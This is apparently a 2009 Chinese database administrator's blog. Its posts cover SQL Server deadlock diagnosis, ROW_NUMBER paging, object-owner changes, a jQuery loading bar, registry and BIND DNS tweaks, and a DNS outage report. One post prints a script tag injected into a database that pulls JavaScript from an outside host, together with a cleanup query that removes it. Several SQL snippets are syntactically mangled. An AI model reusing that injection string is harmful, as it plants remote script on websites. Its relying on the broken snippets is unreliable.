在数据库中经常会遇到这样的情况:一个主表A,一个子表B,B表中包含有A表的主键作为外键。当要插入数据的时候,我们会先插入A表,然后获得A表的Identity,再插入B表。如果要进行删除操作,那么就先删除子表B,然后再删除主表A。在程序设计中,对两个表的操作是在一个事务之中完成的。

  当系统使用频繁就会出现插入操作和删除操作同时进行的情况。这个时候插入事务会先将主表A放置独占锁,然后去访问子表B,而同时删除事务会对子表B放置独占锁,然后去访问主表A。插入事务会一直独占着A表,等待访问B表,删除事务也一直独占着B表等待访问A表,于是两个事务相互独占一个表,等待对方释放资源,这样就造成了死锁。

对于这个问题,我们可以在规则中勾选"关连删除",当判断插入B表有错误时,只要删除A表就可以了.


说道死锁问题的解决,一般情况下我们都是选择KILL进程,但如果不查出引起死锁的原因,死锁的现象则会频繁出现,其实只要通过查找引起死锁的操作,就可以方便的解决死锁。
  具体的解决方法如下:
  1.再死锁发生时,我们可以通过下面的语法,查询到引起死锁的操作
use master 
  
go 
  
declare @spid int,@bl int 
  
DECLARE s_cur CURSOR FOR 
  
select 0 ,blocked 
  
from (select * from sysprocesses where blocked>0 ) a 
  
where not exists(select * from (select * from sysprocesses where blocked>0 ) b 
  
where a.blocked=spid) 
  
union select spid,blocked from sysprocesses where blocked>0 
  
OPEN s_cur 
  
FETCH NEXT FROM s_cur INTO @spid,@bl 
  
WHILE @@FETCH_STATUS = 0 
  
begin 
  
if @spid =0 
  
select '引起数据库死锁的是: '+ CAST(@bl AS VARCHAR(10)) + '进程号,其执行的SQL语法如下' 
  
else 
  
select '进程号SPID:'+ CAST(@spid AS VARCHAR(10))+ '' + '进程号SPID:'+ CAST(@bl AS VARCHAR(10)) +'阻塞,其当前进程执行的SQL语法如下' 
  
DBCC INPUTBUFFER (@bl ) 
  
FETCH NEXT FROM s_cur INTO @spid,@bl 
  
end 
  
CLOSE s_cur 
  
DEALLOCATE s_cur 
  
exec sp_who2 
   
/*
  2.然后查找程序/数据库,此t_sql语法具体在什么地方使用。 
  3.分析已经找到的,解决问题。 
  EG:
   
*/
 
  
/* 
  ------------------------------------------------------- 
  引起数据库死锁的是: 71进程号,其执行的SQL语法如下 
  EventType Parameters EventInfo 
  -------------- ---------- ------------------------------ 
  Language Event 0 
  select * from test 
  insert test values(1,2) 
  (所影响的行数为 1 行) 
  DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。 
  ------------------------------------------------------------ 
  进程号SPID:64被进程号SPID:71阻塞,其当前进程执行的SQL语法如下 
  EventType Parameters EventInfo 
  -------------- ---------- --------------------------------- 
  Language Event 0 
  select * from test 
  insert test values(1,2) 
  (所影响的行数为 1 行) 
  DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。 
  ------------------------------------------------------------- 
  进程号SPID:65被进程号SPID:64阻塞,其当前进程执行的SQL语法如下 
  EventType Parameters EventInfo 
  -------------- ---------- ------------------------------------- 
  Language Event 0 begin tran 
  select * from test with (holdlock) 
  waitfor time '12:00' 
  select * from test 
  commit 
  (所影响的行数为 1 行) 
  DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。 
  ------------------------------------------------------- 
  进程号SPID:73被进程号SPID:64阻塞,其当前进程执行的SQL语法如下 
  EventType Parameters EventInfo 
  -------------- ---------- ------------------------------ 
  Language Event 0 begin tran 
  select * from test with (holdlock) 
  waitfor time '12:00' 
  select * from test 
  commit 
  (所影响的行数为 1 行) 
  DBCC 执行完毕。如果 DBCC 输出了错误信息,请与系统管理员联系。 
  
*/
  文章来源: baike.duba.net
posted @ 2009-07-01 11:23 大力 阅读(8) | 评论 (0)编辑
数据库被注入,  所有文本型字下段数据都被加了    <script_src=http://ucmal.com/0.js> </script>
怎么删掉?
DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
    
+N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id 
    
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
    
AND c.xusertype=t.xusertype
    
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

posted @ 2009-06-26 12:20 大力 阅读(12) | 评论 (0)编辑

听说用ROW_NUMBER()分页100W条数据翻页只要2-3秒,有时间测试下

--NORTHWND.MDF库
DECLARE @pagenum AS INT@pagesize AS INT
SET @pagenum = 2
SET @pagesize = 3
SELECT *
FROM (SELECT ROW_NUMBER() OVER(ORDER BY EmployeeID DESCAS RowNum, 
        
*
      
FROM Employees) AS Employees
WHERE RowNum BETWEEN (@pagenum-1)*@pagesize+1 AND @pagenum*@pagesize
ORDER BY EmployeeID DESC

2009年7月3日 23:30:20 测试
CREATE procedure [dbo].[p_test] 
@startIndex int,
@endIndex int,
@docount bit,
@strwhere varchar(20)
as

if(@docount=1)
select count(id) from tb_testtable
else

begin
 
SET @strwhere = CHAR(34+ CHAR(42+ @strwhere + CHAR(42+ CHAR(34);
 
with temptbl as (SELECT ROW_NUMBER() OVER (ORDER BY id desc)AS Row, * from tb_testtable where CONTAINS(*@strwhere))
 
SELECT * FROM temptbl where Row between @startIndex and @endIndex
end

全文索引(模糊搜索)测试,共五百万条数据,耗时436毫秒。
begin 
set nocount on
declare @timediff datetime 
select @timediff=Getdate() 

select count(id) as 总行数 from tb_testtable
exec P_test @startIndex=1,@endIndex=20,@docount=0,@strwhere='爱情'

select datediff(ms,@timediff,GetDate()) as 耗时 
set nocount off
end

/*

总行数         
----------- 
5000001

id          userName             userText                      
----------- -------------------- -----------------------------
5080        admin                人们争执不休的爱情道理只是些没

耗时          
----------- 
446

*/
posted @ 2009-06-22 16:51 大力 阅读(5) | 评论 (0)编辑

  页面 Loading 条基本人人都会用。它的原理很简单:在页头放置一个文字或者图片的 loading 状态,然后页尾载入一段 JS 隐藏掉,即根据浏览器的载入顺序来实现的简易 Loading 状态条。

loading Process traditional

上图展示了传统 Wordpress 模板在浏览器中的载入顺序,Loading 条的出现和消失分布于头尾。

new loading bar

如果我们在页面的不同位置放置多个 JS ,每个 JS 用于逐步增加 Loading 条的宽度,那么这个 Loading 条无疑会更具实用价值。它在一定程度上缓解了访客等待载入的枯燥感,同时还能客观反映页面载入的进度。若再配以 jQuery 内建的动画效果,其完全可以与浏览器自带的状态条媲美。

先来看一个演示:地址

 

Code

要得到演示上的进度条效果,首先,引入 jQuery 框架(一定要放在页头 <head> 标签内)。然后在 <body> 标签起始位置放置:

<div id="loading"><div></div></div>

CSS 可以这么写:

#loading {
width:100px;
height:20px;
background:#A0DB0E;
padding:5px;
position:fixed;
left:0;
top:0;
}
#loading div {
width:1px;
height:20px;
background:#F1FF4D;
}

准备工作到这里就做好了。

接着,请随意发挥,依照你对图二的理解,在模板各个部分的适当位置放置:

<script type="text/javascript">
$("#loading div").animate({width:"16px"})
</script>

其中红色数值应该随载入顺序逐步增加,直到 footer.php。另外别忘了在 footer.php 最末尾放上:

<script type="text/javascript">
$("#loading").fadeOut()
</script>

用于载入完毕后隐藏进度条。

转自:http://ishawn.net/tips/loading-status-bar.html

posted @ 2009-06-18 16:58 大力 阅读(21) | 评论 (1)编辑

用8.3测试了好几天,目前的情况是用.net framework 32位的可以跑起来,用.net framework 64位页面会出现“service unavailable ”

后来问swsoft的技术 他们说只能用32位兼容模式运行,这个问题在x64上一直存在


MS兼容模式参考
http://support.microsoft.com/kb/894435

posted @ 2009-06-11 09:08 大力 阅读(10) | 评论 (0)编辑

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems]

%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,3072 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=80

-------------------------------------------------------------------

%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,3072 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=80

修改SharedSection=1024,3072,512,三个数字全部加大。
这个地方就是控制 section的内存的

posted @ 2009-06-11 09:00 大力 阅读(17) | 评论 (0)编辑

测试可以zone里面使用include
--------------------------------------
语法是这样的
--------------------------------------

[root@localhost named]# cat Domain.com.dom
$ORIGIN .
$TTL 7200       ; 2 hours
Domain.com             IN SOA  ns1.25000.net. u25000.25000.net. (
                                2000091907 ; serial
                                10800      ; refresh (3 hours)
                                3600       ; retry (1 hour)
                                604800     ; expire (1 week)
                                7200       ; minimum (2 hours)
                                )
                        NS      ns1.25000.net.
                        NS      ns2.25000.net.
                        A       202.108.32.81
                        MX      10 mail.Domain.com.
$ORIGIN Domain.com.
$INCLUDE Domain.com.dom.include

=======================================================
[root@localhost named]# cat Domain.com.dom.include
ftp                     A       202.108.32.81
mail                    A       211.152.51.95
www                     A       202.108.32.81
--------------------------------------
这样mx记录和www记录都能生效

posted @ 2009-06-04 11:38 大力 阅读(15) | 评论 (0)编辑

今天无意看到客户网站用到了一个叫 eWebEditor 的在线编辑器,其中上面有个比较有意思的“截屏”功能,无聊中找了些截屏资料,我们自己实现应该不难。

http://hi.baidu.com/%B3%C2%B7%E5clg/blog/item/a7d5a4395656b9fb3a87ce02.html 这个人开放类似QQ截图的VB源码,如果给他封装成IE的ActiveX。我们用WEB调用这个OCX把图片生成在客户端的%SystemRoot%\TEMP 目录下,再传到服务器就行了。

posted @ 2009-05-27 17:01 大力 阅读(48) | 评论 (0)编辑

前天值班接到客户的WEB服务器连接不上MSSQL服务器,时好时断。今天有同事指出这段时间有很多域名解析问题。国内网络这二天咋呢????


2009年5月21日17:39:33

原因已经公布

  5月19日22时,工业和信息化部接到电信运营企业报告,自21时起,江苏、河北、山西、广西、浙江等省陆续出现互联网网络故障,部分互联网用户的服务受到影响。

  工业和信息化部对此高度重视,要求电信运营企业查明故障原因,及时采取有效措施,尽快恢复正常服务。截至20日凌晨1时20分,受影响地区的互联网服务基本恢复正常。

  20日,工业和信息化部组织相关单位和专家召开了研判会,分析故障原因。会议认为,由于baofeng.com网站的域名解析系统受到网络攻击出现故障,导致电信运营企业的递归域名解析服务器收到大量异常请求而引发拥塞,造成用户不能正常上网。工业和信息化部要求各电信运营企业要做好用户解释工作。举一反三,消除隐患,防止类似情况发生。进一步加强网络安全的监测预警和信息通报工作,完善应急预案,确保网络安全运行。特此通报。

  中国电信昨日向腾讯科技发来说明表示,由于暴风影音网站自身域名解析故障,导致中国电信DNS服务器访问量突增,网络处理性能下降。5月19日21:50开始,有江苏、安徽、广西、海南、甘肃、浙江等六省用户申告访问网站速度变慢或无法访问。

posted @ 2009-05-21 08:54 大力 阅读(19) | 评论 (0)编辑

批量修改表的所有者:  
EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ''?'',''dbo''   '  
单个修改表所有者:  
exec   sp_changeobjectowner   '要改的表名','dbo'  

"?":原所有者的名称


批量修改视图和存储过程的存储过程:

CREATE   PROCEDURE   ChangeProcOwner  
@OldOwner as   NVARCHAR(128),
@NewOwner as   NVARCHAR(128)
AS  
   
DECLARE   @Name   as   NVARCHAR(128)    
DECLARE   @Owner as   NVARCHAR(128)  
DECLARE   @OwnerName as   NVARCHAR(128)  
   
DECLARE   curObject   CURSOR   FOR    
select 'Name' =   name,  
'Owner' =   user_name(uid)  
from   sysobjects  
where   user_name(uid)=@OldOwner   and   xtype='p'  
order   by   name  
   
OPEN     curObject  
FETCH   NEXT   FROM   curObject   INTO   @Name,   @Owner  
WHILE(@@FETCH_STATUS=0)  
BEGIN          
if   @Owner=@OldOwner    
begin  
set   @OwnerName   =   @OldOwner   +   '.'   +   rtrim(@Name)  
exec   sp_changeobjectowner   @OwnerName,   @NewOwner  
end  
   
FETCH   NEXT   FROM   curObject   INTO   @Name,   @Owner  
END  
   
close   curObject  
deallocate   curObject  
GO

执行 exec   ChangeProcOwner   'xx','dbo' --修改视图所有者要写上原所有者名
或者
exec   ChangeProcOwner   '?','dbo'

另找一别人的方法,修改视图跟存储过程很方便

--执行这个语句,就可以把当前库的所有表的所有者改为dbo
exec sp_msforeachtable 'sp_changeobjectowner ''?'', ''dbo'''


--如果是要用户表/存储过程/视图/触发器/自定义函数一齐改,则用游标(不要理会错误提示)
declare tb cursor local for
select 'sp_changeobjectowner ''['+replace(user_name(uid),']',']]')+'].['
+replace(name,']',']]')+']'',''dbo'''
from sysobjects
where xtype in('U','V','P','TR','FN','IF','TF') and status>=0
open tb
declare @s nvarchar(4000)
fetch tb into @s
while @@fetch_status=0
begin
exec(@s)
fetch tb into @s
end
close tb
deallocate tb
go

1. sp_changeobjectowner
更改当前数据库中对象的所有者。

语法
sp_changeobjectowner [ @objname = ] 'object' , [ @newowner = ] 'owner'

参数
[@objname =] 'object'

当前数据库中现有的表、视图存储过程的名称。object 的数据类型为 nvarchar(517),没有默认值。object 可用现有对象所有者限定,格式为 existing_owner.object。

[@newowner =] 'owner'

即将成为对象的新所有者的安全帐户的名称。owner 的数据类型为 sysname,没有默认值。owner 必须是当前数据库中有效的 Microsoft? SQL Server? 用户或角色或 Microsoft Windows NT? 用户或组。指定 Windows NT 用户或组时,请指定 Windows NT 用户或组在数据库中已知的名称(用 sp_grantdbaccess 添加)。

返回代码值
0(成功)或 1(失败)

注释
对象所有者(或拥有对象的组或角色的成员)对对象有特殊的权限。对象所有者可以执行任何与对象有关的 Transact-SQL 语句(例如 Insert、Update、Delete、Select 或 EXECUTE),也可以管理对象的权限。

如果拥有对象的安全帐户必须要除去,但同时要保留该对象,请使用 sp_changeobjectowner 更改对象所有者。该过程从对象中删除所有现有权限。在运行 sp_changeobjectowner 之后,需要重新应用要保留的任何权限。

由于这个原因,建议在运行 sp_changeobjectowner 之前,编写现有权限的脚本。一旦更改了对象的所有权,可能要使用该脚本重新应用权限。在运行该脚本之前需要在权限脚本中修改对象所有者。有关编写数据库脚本的更多信息,请参见编写数据库文档和脚本。

可以使用 sp_changedbowner 更改数据库的所有者。

权限
只有 sysadmin 固定服务器角色和 db_owner 固定数据库角色成员,或既是 db_ddladmin 固定数据库角色又是 db_securityadmin 固定数据库角色的成员,才能执行 sp_changeobjectowner。

示例
下面的示例将 authors 表的所有者改为 Corporate\GeorgeW。

EXEC sp_changeobjectowner 'authors', 'Corporate\GeorgeW'


请参见
改变数据库所有者:sp_changedbowner

------------------------------以上摘自sql server 的联机丛书
注意:
使用sqlserver2000改变对象(object)(如Table,SP,View)的所有者(owner)时,需要注意一点:
如果对象改变前的owner为dbo,则直接用:exec sp_changeobjectowner 对象名,新的所有者名就可以成功。如果再需要改变该对象的所有者,则要用如下语法:
exec sp_changeobjectowner "[所有者].[对象名]",新的所有者。注意,双引号不可省略,否则提示objectname does not exist。

EXEC sp_changeobjectowner 'cqadmin.authors', 111



2.建与原表结构相同表,然后把数据从原表插入到新表,操作方法:

在sql server企业管理器中选择原表点右键,选择“所有任务/生存SQL脚本”,保存生成的脚本,在脚本中把表的原所有者改成新所有者。然后再把该脚本运行一遍,数据库中就新生成了一个表,所有者是新所有者,原来的表还在数据库中没有被替换。新表和旧表表名相同,所有者不同,此时的新表中没有数据。

然后再运行下面的语句往新表中插入数据:

Insert INTO CQAdmin.m_actiondef //新所有者.新表名
Select *
FROM RegaltecDefSchema. CQAdministrator.m_actiondef // 数据库名.旧所有者.旧表名
运行完了就做完了,可以把旧表删掉,也可以留着。

posted @ 2009-05-18 09:17 大力 阅读(59) | 评论 (0)编辑